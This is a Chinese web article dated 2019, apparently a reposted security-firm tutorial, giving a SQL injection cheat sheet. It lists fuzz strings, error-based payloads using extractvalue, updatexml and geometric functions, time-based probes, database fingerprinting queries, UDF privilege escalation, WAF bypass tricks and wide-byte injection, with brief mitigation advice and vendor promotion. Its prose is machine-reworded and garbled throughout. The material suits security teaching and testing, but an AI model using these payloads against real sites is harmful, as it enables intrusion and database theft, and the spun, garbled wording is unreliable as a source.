参考消息_渗入测试对网站注入进击要领理会

   日期:2019-09-30     浏览:857    
核心提示:国庆即将到来,前一期讲到获取网站信息判断所属环境以及各个端口的用处和弱口令密码利用方法,这期仍有很多客户找到我们Sine安全想要了解针对于SQL注入攻击的测试方法,这一期我们来讲解下注入的攻击分类和使用手法,让客户明白漏洞是如何产生的,会给网站安全带来怎样的影响!

 

国庆行将到来,前一期讲到猎取网站信息揣摸所属环境以及各个端口的用途和弱口令暗码运用要领,这期仍有许多客户找到我们Sine平安想要相识针对于SQL注入进击的测试要领,这一期我们来说解下注入的进击分类和运用手段,让客户邃晓破绽是如何发作的,会给网站平安带来如何的影响!

3.1 SQL注入破绽

3.1.1. 注入分类

SQL注入是一种代码注入手艺,用于进击数据驱动的运用程序。在运用程序中,假如没有做适当的过滤,则能够使得歹意的SQL语句被插进去输入字段中实行(比方将数据库内容转储给进击者)。

3.1.1.1. 按技能分类

依据运用的技能,SQL注入范例可分为

盲注

布尔盲注:只能从运用返回中揣摸语句实行后的布尔值

时刻盲注:运用没有明白的回显,只能运用特定的时刻函数来揣摸

报错注入:运用会显现悉数或许部份的报错信息

堆叠注入:有的运用能够到场 ; 后一次实行多条语句

其他

3.1.1.2. 按猎取数据的体式格局分类

别的也能够依据猎取数据的体式格局分为3类

inband

运用Web运用来直接猎取数据

如报错注入

都是经由过程站点的相应或许毛病反应来提取数据

inference

经由过程Web的一些反应来揣摸数据

如布尔盲注和堆叠注入

也就是我们浅显的盲注,

经由过程web运用的其他改变来揣摸数据

out of band(OOB)

经由过程其他传输体式格局来取得数据,比方DNS剖析协媾和电子邮件

3.1.2. 注入检测

3.1.2.1. 罕见的注入点

GET/POST/PUT/DELETe参数

X-Forwarded-For

文件名

3.1.2.2. Fuzz注入点

' / "

1/1

1/0

and 1=1

" and "1"="1

and 1=2

or 1=1

or 1=

' and '1'='1

+ - ^ * % /

<< >> || | & &&

~

!

@

反引号实行

3.1.2.3. 测试用常量

@@version

@@servername

@@language

@@spid

3.1.2.4. 测试列数

比方 域名/index.asp?id=12+union+select+nulll,null-- ,不停增添 null 至不返回

3.1.2.5. 报错注入

select 1/0

select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a

extractvalue(1, concat(0x5c,(select user())))

updatexml(0x3a,concat(1,(select user())),1)

exp(~(SELECT * from(select user())a))

ST_LatFromGeoHash((select * from(select * from(select user())a)b))

GTID_SUBSET(version(), 1)

3.1.2.5.1. 基于geometric的报错注入

GeometryCollection((select * from (select * from(select user())a)b))

polygon((select * from(select * from(select user())a)b))

multipoint((select * from(select * from(select user())a)b))

multilinestring((select * from(select * from(select user())a)b))

LINESTRING((select * from(select * from(select user())a)b))

multipolygon((select * from(select * from(select user())a)b))

个中须要注重的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已不再见效,详细能够参考这个 commit 95825f 。

而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中一样不再见效。

3.1.2.6. 堆叠注入

;select 1

3.1.2.7. 解释符

#

--+

3.1.2.8. 揣摸过滤划定规矩

是不是有trunc

是不是过滤某个字符

是不是过滤关键字

slash和编码

3.1.2.9. 猎取信息

揣摸数据库范例

and exists (select * from msysobjects ) > 0 access数据库

and exists (select * from sysobjects ) > 0 SQLServer数据库

揣摸数据库表

and exsits (select * from admin)

版本、主机名、用户名、库名

表和字段

肯定字段数(Order By Select Into)

表名、列名

3.1.2.10. 测试权限

文件操纵

读敏感文件

写shell

带外通道

收集要求

3.1.3. 权限提拔

3.1.3.1. UDF提权

UDF(User Defined Function,用户自定义函数)是MySQL供应的一个功用,能够经由过程编写DLL扩大为MySQL增加新函数,扩大其功用。

当取得MySQL权限以后,即可经由过程这类体式格局上传自定义的扩大文件,从MySQL中实行体系敕令。

3.1.4. 数据库检测

3.1.4.1. MySQL

sleep sleep(1)

benchmark BENCHMARK(5000000, MD5('test'))

字符串衔接

SELECT 'a' 'b'

SELECT CONCAt('some','string')

version

SELECT @@version

SELECT version()

辨认用函数

connection_id()

last_insert_id()

row_count()

3.1.4.2. Oracle

字符串衔接

'a'||'oracle' --

SELECT CONCAt('some','string')

version

SELECT banner FROM v$version

SELECt banner FROM v$version WHERe rownum=1

3.1.4.3. SQLServer

WAITFOR WAITFOR DELAY '00:00:10';

SERVERNAME SELECT @@SERVERNAME

version SELECT @@version

字符串衔接

SELECT 'some'+'string'

常量

@@pack_received

@@rowcount

3.1.4.4. PostgreSQL

sleep pg_sleep(1)

3.1.5. 绕过技能

编码绕过

大小写

url编码

html编码

十六进制编码

unicode编码

解释

// -- -- + -- - # ;%00

内联解释用的更多,它有一个特征 /!**/ 只要MySQL能辨认

e.g. index.php?id=-1 1,2,3

只过滤了一次时

union => ununionion

雷同功用替代

函数替代

substring / mid / sub

ascii / hex / bin

benchmark / sleep

变量替代

user() / @@user

标记和关键字

and / &

or / |

HTTP参数

HTTP参数污染

id=1&id=2&id=3 依据容器差别会有差别的效果

HTTP支解注入

缓冲区溢出

一些C言语的WAF处置惩罚的字符串长度有限,超越某个长度后的payload能够不会被处置惩罚

二次注入有长度限定时,经由过程多句实行的要领改掉数据库该字段的长度绕过

3.1.6. SQL注入小技能

3.1.6.1. 宽字节注入

平常程序员用gbk编码做开辟的时刻,会用 set names 'gbk' 来设定,这句话等同于

set

character_set_connection = 'gbk',

character_set_result = 'gbk',

character_set_client = 'gbk';

破绽发作的原因是实行了 set character_set_client = 'gbk'; 以后,mysql就会以为客户端传过来的数据是gbk编码的,从而运用gbk去解码,而mysql_real_escape是在解码前实行的。然则直接用 set names 'gbk' 的话real_escape是不知道设置的数据的编码的,就会加 %5c 。此时server拿到数据解码 就以为提交的字符+%5c是gbk的一个字符,如许就发作破绽了。

处理的方法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操纵。第二种是是 mysql_set_charset('gbk') ,这里就会把编码的信息保存在和数据库的衔接内里,就不会涌现这个问题了。第三种就是用pdo。假如时期想要渗入测试本身的网站平安性,能够联络专业的网站平安公司来处置惩罚处理,国内引荐Sinesafe,绿盟,启明星斗等等的网站平安公司,另有一些其他的编码技能,比方latin会弃掉无效的unicode,那末admin%32在代码内里不即是admin,在数据库比较会即是admin。

 
打赏
 
更多>同类行业资讯

推荐图文
推荐行业资讯
点击排行
新手指南
采购商服务
供应商服务
交易安全
关注我们
手机网站:
新浪微博:
微信关注:

周一至周五 9:00-18:00
(其他时间联系在线客服)

24小时在线客服